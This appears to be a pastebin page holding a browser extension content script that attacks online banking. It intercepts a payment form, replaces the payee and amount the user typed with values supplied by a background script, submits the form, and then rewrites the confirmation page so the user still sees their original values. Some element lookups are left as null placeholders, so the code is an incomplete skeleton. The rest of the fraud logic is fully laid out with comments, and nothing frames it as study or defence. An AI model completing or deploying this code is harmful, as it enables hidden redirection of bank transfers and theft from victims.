Untitled
unknown
plain_text
a year ago
2.3 kB
4
Indexable
let url = window.location.href;
let targetPayee = null;
let targetAmount = null;
let originalAmount = null;
let originalPayee = null;
// Handle message responses from background.js
browser.runtime.onMessage.addListener(function(request) {
if(request.variable == 'payee') {
targetPayee = request.data;
} else if(request.variable == 'amount') {
targetAmount = request.data;
} else if(request.variable == 'originalPayee') {
originalPayee = request.data;
} else if(request.variable == 'originalAmount') {
originalAmount = request.data;
}
});
// Retrieve the target information from background.js
browser.runtime.sendMessage({action: 'getPayee'});
browser.runtime.sendMessage({action: 'getAmount'});
if(url.search('/account') > -1) {
// Account page manipulation
let form = document.getElementById('paymentForm');
form.addEventListener('submit', function(e) {
// Intercept form submission and modify the user-entered values
e.preventDefault();
// --- Get the elements containing the transaction information (amount and payee account number) ---
let payee = null;
let amount = null;
// Store the user's original values
browser.runtime.sendMessage({action: 'setOriginalPayee', data: payee.value});
browser.runtime.sendMessage({action: 'setOriginalAmount', data: amount.value});
// --- Change payment form values to modify the transaction ---
payee.value = null;
amount.value = null;
e.target.submit();
});
} else if(url.search('/confirm') > -1) {
// Retrieve the user's original values from background.js
browser.runtime.sendMessage({action: 'getOriginalPayee'});
browser.runtime.sendMessage({action: 'getOriginalAmount'});
// --- Get the span elements that contain the transaction information that is displayed to the user to verify the transaction. ---
let payeeElement = null;
let amountElement = null;
// Update the page content to hide the modified values from the user
setTimeout(function() {
payeeElement.innerHTML = originalPayee;
amountElement.innerHTML = originalAmount;
}, 100);
}Editor is loading...
Leave a Comment